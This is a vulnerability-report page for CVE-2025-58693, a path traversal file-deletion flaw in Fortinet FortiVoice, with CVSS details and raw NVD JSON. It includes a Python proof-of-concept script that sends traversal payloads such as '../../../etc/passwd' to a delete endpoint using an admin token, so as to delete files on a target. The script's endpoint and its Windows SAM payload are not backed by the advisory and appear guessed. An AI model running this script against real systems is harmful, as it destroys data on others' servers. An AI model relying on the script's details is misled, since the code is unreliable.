Security Vulnerability Report
中文
CVE-2025-58693 CVSS 6.5 MEDIUM

CVE-2025-58693

Published: 2026-01-13 17:15:58
Last Modified: 2026-01-14 21:34:23

Description

An improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiVoice 7.2.0 through 7.2.2, FortiVoice 7.0.0 through 7.0.7 allows a privileged attacker to delete files from the underlying filesystem via crafted HTTP or HTTPs requests.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:* - VULNERABLE
FortiVoice 7.0.0 - 7.0.7
FortiVoice 7.2.0 - 7.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib3 urllib3.disable_warnings() # CVE-2025-58693 PoC - FortiVoice Path Traversal File Deletion # Target: FortiVoice < 7.2.3 or < 7.0.8 target_url = "https://target-fortivoice.local:443" # Authentication headers (requires high privilege account) auth_headers = { "Authorization": "Bearer YOUR_ADMIN_TOKEN", "Content-Type": "application/json" } # Path traversal payload to delete arbitrary file # The vulnerability allows deleting files outside the intended directory path_traversal_payloads = [ "../../../etc/passwd", "../../../var/log/fortivoice.log", "..\..\..\windows\system32\config\sam" ] def exploit(target, payload): """Send malicious request to delete arbitrary file""" endpoint = f"{target}/api/v2/ucm/voicemail/delete" params = { "file_path": payload, "force": "true" } try: response = requests.post( endpoint, headers=auth_headers, params=params, verify=False, timeout=30 ) print(f"[*] Payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text}\n") return response.status_code == 200 except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-58693 PoC - FortiVoice Path Traversal") print("[*] Requires high privilege authentication\n") for payload in path_traversal_payloads: exploit(target_url, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58693", "sourceIdentifier": "[email protected]", "published": "2026-01-13T17:15:57.940", "lastModified": "2026-01-14T21:34:22.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiVoice 7.2.0 through 7.2.2, FortiVoice 7.0.0 through 7.0.7 allows a privileged attacker to delete files from the underlying filesystem via crafted HTTP or HTTPs requests."}, {"lang": "es", "value": "Una vulnerabilidad de limitación inadecuada de un nombre de ruta a un directorio restringido ('salto de ruta') en Fortinet FortiVoice 7.2.0 hasta 7.2.2, FortiVoice 7.0.0 hasta 7.0.7 permite a un atacante privilegiado eliminar archivos del sistema de archivos subyacente a través de solicitudes HTTP o HTTPS manipuladas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.8", "matchCriteriaId": "40DCDAF0-5F6C-41E3-B269-2CAD08D18FE0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.3", "matchCriteriaId": "9ED85222-4F3D-4B10-91FD-CB476CAF9652"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-778", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}